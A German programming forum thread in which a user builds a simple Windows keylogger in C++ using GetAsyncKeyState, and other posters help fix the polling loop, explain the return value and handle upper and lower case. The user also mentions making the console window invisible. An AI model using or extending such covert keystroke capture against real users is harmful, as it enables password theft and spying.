Problem mit GetAsyncKeyState



  • Hallo
    Ich möchte zur Übung einen keylogger schreiben. Dazu habe ich die Klasse keylogger angelegt.

    class keylogger
    {
      private:
    	  string s;
    	  int key;
    
      public:
    	  keylogger()
    	  {
    		  key = 0x30;
    		  string s = " ";
    	  }
    
    	  void lesen()//liest Eingaben ein
    	  {
    		while(!GetAsyncKeyState(VK_F8)) // mach was bis die taste F8 gedrückt wird 
    		{
    		    for(int i = 0; i < 42; i++)
    			{
    				if(GetAsyncKeyState(key))
    				{
    					s = s+ static_cast<char>(key);
    				}
    			}
    		}
    		cout << s;
    
    	  }
    };
    

    Aber das Programm gibt wenn man F8 drückt den String nicht aus 😞



  • Du musst key in jedem Schleifendurchlauf erhöhen, und es vor jedem Schleifendurchlauf natürlich wieder zurücksetzen.
    Wieso du key überhaupt als Member hast, verstehe ich nicht....



  • //edit

    void lesen()//liest Eingaben ein
    	  {
    		while(!GetAsyncKeyState(VK_F8)) // mach was bis die taste F8 gedrückt wird 
    		{
    		    for(int i = 0; i < 190; i++)
    			{
    				if(GetAsyncKeyState(i) == -32767)
    				{
    					s = s+ static_cast<char>(i);
    				}
    			}
    		}
    		cout << s;
    
    	  }
    

    Habs ma gegoogelt und so funktionierts 🙂 wieso muss ich prüfen ob GetAsyncKeyState == -32767 ist? Und alles ist noch in Großschreibung -.-
    Und wie kann ich die Konsole unsichtbar machen?



  • konsole unsichtbar machen hab ich rausgefunden 🙂
    Jetz soll das alles nicht in Großschreibung, sondern so wie man das eingibt sein. Wie kann ich dies ändern?



  • WinAPI schrieb:

    If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.

    GetAsyncKeyState gibt einen SHORT ( short ) zurück. Wenn du auf -32767 prüfst, dann prüfst du in Wirklichkeit ob das höchste Bit und das niedrigste Bit gesetzt wurden (das klappt nur wegen dem Zweierkomplement!*). Meiner Meinung nach viel zu indirekt - ⚠ und außerdem sollte man den Rückgabewert nicht darauf prüfen ⚠ :

    Although the least significant bit of the return value indicates whether the key has been pressed since the last query, due to the pre-emptive multitasking nature of Windows, another application can call GetAsyncKeyState and receive the "recently pressed" bit instead of your application. The behavior of the least significant bit of the return value is retained strictly for compatibility with 16-bit Windows applications (which are non-preemptive) and should not be relied upon.

    Sprich, das ist keine verlässliche Methode, insbesondere da ein Keylogger ja im Hintergrund läuft.

    Zwischen Groß- und Kleinschreibung unterscheidest du, in dem du zusätzlich noch GetAsyncKeyState(VK_SHIFT) abprüfst.
    Aber natürlich musst du noch die anderen Modifikatoren wie Ctrl&Co. prüfen.

    * Das höchste Bit ist gesetzt, da der Wert negativ ist. Außer dem Höchsten ist außerdem nur das niedrigste Bit gesetzt, da 21612^{16}-1 als Betrag für das Zweierkomplement negiert wird.
    21612^{16}-1 als short
    0111111111111110
    (2161)-(2^{16}-1) als short:
    1000000000000001



  • Vielen Danke jetz gehts 🙂


Anmelden zum Antworten